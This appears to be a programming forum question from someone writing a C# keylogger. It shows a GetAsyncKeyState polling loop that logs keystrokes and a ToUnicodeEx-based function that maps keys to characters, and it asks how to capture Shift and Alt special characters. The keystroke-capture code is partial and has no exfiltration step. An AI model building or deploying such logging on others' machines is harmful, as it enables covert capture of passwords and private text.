title: Capture special keys chars
body: <p>I am doing a keylogger, I process the active keys with <code>GetAsyncKeyState</code>.</p>
  
  <pre><code>Keys lastKey = 0;
  while (true)
  {
      Boolean shiftKey;
      Boolean capsLock;
      String text = "";
      Thread.Sleep(captureTime);
      for (int i = 0; i&lt; 1000; i++)
      {
          int keyState = GetAsyncKeyState(i);
          if (keyState == 1 || keyState == -32767)
          {
              shiftKey = Convert.ToBoolean(GetAsyncKeyState((int) Keys.ShiftKey));
              capsLock = Convert.ToBoolean(GetAsyncKeyState((int) Keys.CapsLock));
              text = processKey((Keys) i, shiftKey, capsLock);
  
              if (checkNewLine(lastKey, (Keys) i))
              {
                  saveLog(text);
              }
              lastKey = (Keys) i;
          }
      }
  }
  </code></pre>
  
  <p>The key processing function processKey, process a key depending of the key type, but I have no idea how to process special keys like "¿?:;!·$%&amp;" that require shift or other special characters that requires alt like "@#".</p>
  
  <p>I want to write the special character not a combination of separate characters, for example if i press shift+0 the console should output "=", but in my case the console writes "[SHIFT]" "0" apart.</p>
  
  <p>There's is the processKey function (unicode):</p>
  
  <pre><code>switch(key)
  {
  
      case Keys.Back:
      case Keys.ShiftKey:
          text = "["+key.ToString()+"]";
          break;
      case Keys.Enter:
          text = Environment.NewLine;
          break;
      case Keys.Space:
          text = " ";
          break;
      case Keys.Tab:
          text = "\t";
          break;
      default:
          IntPtr windowHandle = GetForegroundWindow();
          uint processId;
          uint threadId = GetWindowThreadProcessId(windowHandle, out processId);
          byte[] kState = new byte[256];
          GetKeyboardState(kState);
          uint layout = GetKeyboardLayout(threadId);
          StringBuilder keyName = new StringBuilder();
          ToUnicodeEx((uint)key, (uint)key, kState, keyName, 16, 0, layout);
          text = keyName.ToString();
          if((int)key &gt;=65 &amp;&amp; (int)key &lt;= 90)
          {
              text = (!shiftKey &amp;&amp; capsLock || shiftKey &amp;&amp; !capsLock ? Convert.ToChar(key).ToString()
              : Convert.ToChar(key).ToString().ToLower());
          }
  
          break;
  }
  return text;
  </code></pre>